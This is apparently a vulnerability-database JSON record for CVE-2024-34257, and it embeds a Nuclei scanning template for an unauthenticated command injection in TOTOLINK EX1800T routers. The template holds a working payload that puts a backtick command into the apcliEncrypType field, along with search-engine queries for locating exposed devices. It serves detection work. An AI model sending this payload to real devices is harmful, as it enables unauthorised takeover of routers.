{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-34257/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-34257/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-34257/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-34257/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-34257/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-34257"},"sightings":{"href":"/api/v1/sightings/cve-2024-34257"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-34257.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-34257\n\ninfo:\n  name: TOTOLINK EX1800T TOTOLINK EX1800T - Command Injection\n  author: pussycat0x\n  severity: high\n  description: |\n    TOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands via the apcliEncrypType parameter, gaining device administrator privileges.\n  remediation: |\n    Update TOTOLINK EX1800T firmware to a version that patches the command injection vulnerability.\n  reference:\n    - https://github.com/ZackSecurity/VulnerReport/blob/cve/totolink/EX1800T/1.md\n    - https://immense-mirror-b42.notion.site/TOTOLINK-EX1800T-has-an-unauthorized-arbitrary-command-execution-vulnerability-2f3e308f5e1d45a2b8a64f198cacc350\n    - https://github.com/20142995/nuclei-templates\n  classification:\n    epss-score: 0.03817\n    epss-percentile: 0.89652\n  metadata:\n    vendor: totolink\n    product: a3700r_firmware\n    shodan-query: http.title:\"totolink\"\n    fofa-query: title=\"totolink\"\n    google-query: intitle:\"totolink\"\n  tags: cve,cve2024,rce,unauth,vkev,vuln\n\nvariables:\n  file: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/cstecgi.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/page/index.html\n\n        {\n        \"token\":\"\",\n        \"apcliEncrypType\":\"`id>../{{file}}.txt`\",\n        \"topicurl\":\"setWiFiExtenderConfig\"\n        }\n      - |\n        GET /{{file}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - '\"success\": true'\n\n      - type: regex\n        part: body_2\n        regex:\n          - \"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008115be00d0805f47542488dbc0dac0b8befc9a46f1f80545f7fa8326bc1b12ad022100f904ecb14e91e6df54d495052ae018ab916951b69251729606acb3e2bbffd5a9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-34257"}